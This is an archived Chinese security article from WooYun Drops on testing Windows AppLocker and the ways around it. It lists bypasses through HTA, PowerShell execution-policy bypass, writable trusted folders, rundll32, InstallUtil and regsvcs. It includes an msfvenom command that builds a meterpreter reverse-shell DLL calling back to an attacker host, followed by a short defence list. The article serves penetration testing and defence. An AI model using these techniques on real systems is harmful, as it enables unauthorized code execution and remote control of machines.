
        <html>
			<head>
			     <title>Bypass Windows AppLocker - 三好学生</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/11804">http://drops.wooyun.org/tips/11804</a></h1>
				
      <p>
        <h1>0x00 前言</h1>

<hr />

<p><img src="http://static.wooyun.org//drops/20160107/2016010708532215158125.png" alt="Alt text" /></p>

<p>上一次我们对McAfee Application Control做了测试，这次接着对另一款白名单工具Windows AppLocker进行测试，分享一下其中的攻防技术。</p>

<!--more-->

<h1>0x01 简介</h1>

<hr />

<p>Windows AppLocker，即“应用程序控制策略”，可用来对可执行程序、安装程序和脚本进行控制，之前只能支持windows7 Enterprise、windows7 Ultimate和WindowsServer2008 R2，但是微软在2012年10月18日将其更新，已支持Windows8.1,Windows Server2012 R2,WindowsServer2012和Windows8 Enterprise</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20160107/2016010708532472169215.png" alt="Alt text" /></p>

<p>AppLocker可对以下文件格式创建规则，限制其执行</p>

<p><img src="http://static.wooyun.org//drops/20160107/2016010708532657699312.png" alt="Alt text" /></p>

<p>下面我们就实际测试一下相关功能</p>

<h1>0x02 配置</h1>

<hr />

<p><strong>测试环境:</strong></p>

<pre><code>#!bash
OS：Windows7 Ultimate x86
</code></pre>

<h3>1、开启服务</h3>

<p>进入计算机管理-服务-Application Identity，将服务设置为开启</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20160107/2016010708532884473413.png" alt="Alt text" /></p>

<h3>2、进入AppLocker配置界面</h3>

<p>输入<code>secpol.msc</code>进入本地安全策略-应用程序控制策略-AppLocker</p>

<p>或者<code>gpedit.msc</code>-计算机配置-Windows设置-安全设置-应用程序控制策略-AppLocker</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20160107/2016010708533051667510.png" alt="Alt text" /></p>

<h3>3、配置规则</h3>

<p>对可执行文件设置默认规则：</p>

<ul>
<li>允许本地管理员组的成员运行所有应用程序。</li>
<li>允许 Everyone 组的成员运行位于 Windows 文件夹中的应用程序。</li>
<li>允许 Everyone 组的成员运行位于 Program Files 文件夹中的应用程序。</li>
</ul>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20160107/201601070853324481668.png" alt="Alt text" /></p>

<p>对脚本设置默认规则：</p>

<ul>
<li>允许本地管理员组的成员运行所有脚本。</li>
<li>允许 Everyone 组的成员运行位于 Program Files 文件夹中的脚本。</li>
<li>允许 Everyone 组的成员运行位于 Windows 文件夹中的脚本。</li>
</ul>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20160107/201601070853346469977.png" alt="Alt text" /></p>

<p><strong>开启默认规则后，除了默认路径可以执行外，其他路径均无法执行程序和脚本</strong></p>

<h1>0x03 测试</h1>

<hr />

<h3>1、执行exe</h3>

<p><img src="http://static.wooyun.org//drops/20160107/201601070853351262887.png" alt="Alt text" /></p>

<h3>2、执行脚本</h3>

<p><img src="http://static.wooyun.org//drops/20160107/201601070853379665797.png" alt="Alt text" /></p>

<p><img src="http://static.wooyun.org//drops/20160107/2016010708533899575107.png" alt="Alt text" /></p>

<h1>0x04 安全机制分析</h1>

<hr />

<p>通过测试发现设置的规则已经生效，能够阻止信任路径外的exe和脚本执行，但是对以下方面没有做限制：</p>

<ol>
<li>内存</li>
<li>Office 宏</li>
<li>HTML Applications，即hta文件</li>
<li>powershell</li>
</ol>

<p>而我们已经掌握的绕过技术有：</p>

<ol>
<li>利用hta文件</li>
<li>利用jscript</li>
<li>利用powershell</li>
<li>利用InstallUtil</li>
<li>利用regsvcs</li>
</ol>

<p>再加上新学来的技巧，我们最终发现了如下可供利用的方法：）</p>

<h1>0x05 绕过方法</h1>

<hr />

<h3>1、hta</h3>

<p>成功</p>

<p>（可参照<a href="http://drops.wooyun.org/tips/10667">http://drops.wooyun.org/tips/10667</a>）</p>

<p>可用来执行vbs和JavaScript脚本</p>

<h3>2、提权</h3>

<p>提权到管理员权限，即可执行突破AppLocker的限制，执行exe和脚本</p>

<h3>3、powershell</h3>

<p><strong>（1）可以执行ps脚本</strong></p>

<pre><code>#!bash
PowerShell.exe -ExecutionPolicy Bypass -File 
</code></pre>

<p><strong>（2）可以通过如下方式执行ps脚本</strong></p>

<pre><code>#!bash
Get-Content script.txt | iex
</code></pre>

<p><strong>（3）可以利用快捷方式执行Powershell</strong></p>

<p>成功</p>

<p>（可参照<a href="http://drops.wooyun.org/tips/10667">http://drops.wooyun.org/tips/10667</a>）</p>

<h3>4、进程注入</h3>

<p>既然可以执行powershell脚本，那么就可以反弹出meterpreter</p>

<p>然后尝试进程注入</p>

<p>（可参照<a href="http://drops.wooyun.org/tips/11305">http://drops.wooyun.org/tips/11305</a>）</p>

<p>如果注入到普通权限进程，无法执行exe和脚本</p>

<p>如果是system权限进程，可以执行exe和脚本</p>

<h3>5、查找可利用的文件路径</h3>

<p>通过ps脚本扫描可写入的路径</p>

<p>下载地址：<a href="http://go.mssec.se/AppLockerBC">http://go.mssec.se/AppLockerBC</a></p>

<p>（如果无法下载，我已将该脚本上传至Github）</p>

<p>测试如图</p>

<p><img src="http://static.wooyun.org//drops/20160107/20160107085340652771112.png" alt="Alt text" /></p>

<p><img src="http://static.wooyun.org//drops/20160107/2016010708534199082126.png" alt="Alt text" /></p>

<p><img src="http://static.wooyun.org//drops/20160107/2016010708534388782134.png" alt="Alt text" /></p>

<p>执行后会自动扫描出可利用的路径</p>

<p>比如选择路径：<code>c:\Windows\Tasks</code></p>

<p>正常执行calc.js会被拦截</p>

<p>但是<code>copy calc.js c:\Windows\Tasks</code>后</p>

<p>再执行<code>c:\Windows\Tasks\calc.js</code>，可以绕过拦截</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20160107/2016010708534537138144.png" alt="Alt text" /></p>

<h3>6、rundll32</h3>

<p><strong>（1）执行JavaScript</strong></p>

<p><strong>a、</strong>直接弹回一个Http shell</p>

<p>（可参照<a href="http://drops.wooyun.org/tips/11764">http://drops.wooyun.org/tips/11764</a>）</p>

<p>但无法绕过对执行exe和脚本的拦截</p>

<p><strong>b、</strong>利用JavaScript执行powershell命令返回HTTP shell</p>

<p><img src="http://static.wooyun.org//drops/20160107/2016010708534799119154.png" alt="Alt text" /></p>

<p><strong>（2）加载第三方dll</strong></p>

<p><strong>a、</strong>自己编写的dll</p>

<p>参考资料：<br />
<a href="http://blog.didierstevens.com/2010/02/04/cmd-dll/">http://blog.didierstevens.com/2010/02/04/cmd-dll/</a></p>

<p>按照dll的格式，自己编写并生成dll上传</p>

<p>执行</p>

<pre><code>#!bash
rundll32.exe cmd.dll,Control_RunDLL
</code></pre>

<p>弹出一个cmd</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20160107/2016010708534851450163.png" alt="Alt text" /></p>

<p><strong>b、</strong>反弹meterpreter</p>

<p>kali下：</p>

<pre><code>#!bash
msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080&gt;./a.dll
</code></pre>

<p>生成a.dll,然后上传至测试主机</p>

<p>执行</p>

<pre><code>#!bash
rundll32.exe a.dll,Control_RunDLL
</code></pre>

<p>即可上线</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20160107/2016010708534958386173.png" alt="Alt text" /></p>

<p><img src="http://static.wooyun.org//drops/20160107/2016010708535190561183.png" alt="Alt text" /></p>

<h3>7、利用InstallUtil</h3>

<p>利用InstallUtil.exe直接执行shellcode 成功</p>

<p>如果有Microsoft .NET Framework 4.0环境，可用来执行exe</p>

<p>（可参照<a href="http://drops.wooyun.org/tips/8701">http://drops.wooyun.org/tips/8701</a>,<a href="http://drops.wooyun.org/tips/8862">http://drops.wooyun.org/tips/8862</a>）</p>

<h3>8、利用regsvcs</h3>

<p>成功</p>

<p>（可参照<a href="http://drops.wooyun.org/tips/10667">http://drops.wooyun.org/tips/10667</a>）</p>

<h1>0x06 防御</h1>

<hr />

<ol>
<li>严格控制文件写入权限</li>
<li>禁用mshta.exe阻止hta的运行</li>
<li>禁用powershell</li>
<li>防止被提权</li>
</ol>

<h1>0x07 小结</h1>

<hr />

<p>随着研究的逐渐深入，我们不难发现：利用InstallUtil、regsvcs是绕过白名单限制的一把利器，无论是攻击还是防御，对此部分都要尤其重视。</p>

<p>而利用rundll32.exe的技巧，正在慢慢被发掘。</p>

<h1>0x08 参考资料：</h1>

<hr />

<ul>
<li><a href="https://technet.microsoft.com/en-us/library/dd759117.aspx">https://technet.microsoft.com/en-us/library/dd759117.aspx</a></li>
<li><a href="https://technet.microsoft.com/en-us/library/hh831440.aspx">https://technet.microsoft.com/en-us/library/hh831440.aspx</a></li>
<li><a href="http://dfir-blog.com/2016/01/03/protecting-windows-networks-applocker/">http://dfir-blog.com/2016/01/03/protecting-windows-networks-applocker/</a></li>
<li><a href="https://mssec.wordpress.com/2015/10/22/applocker-bypass-checker/">https://mssec.wordpress.com/2015/10/22/applocker-bypass-checker/</a></li>
<li><a href="https://www.attackdebris.com/?p=143">https://www.attackdebris.com/?p=143</a></li>
<li><a href="http://blog.didierstevens.com/2010/02/04/cmd-dll/">http://blog.didierstevens.com/2010/02/04/cmd-dll/</a></li>
</ul>

<p>相关文件下载地址：</p>

<p><a href="https://github.com/3gstudent/Bypass-Windows-AppLocker">https://github.com/3gstudent/Bypass-Windows-AppLocker</a></p>

<p><strong>本文由三好学生原创并首发于乌云drops，转载请注明</strong></p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          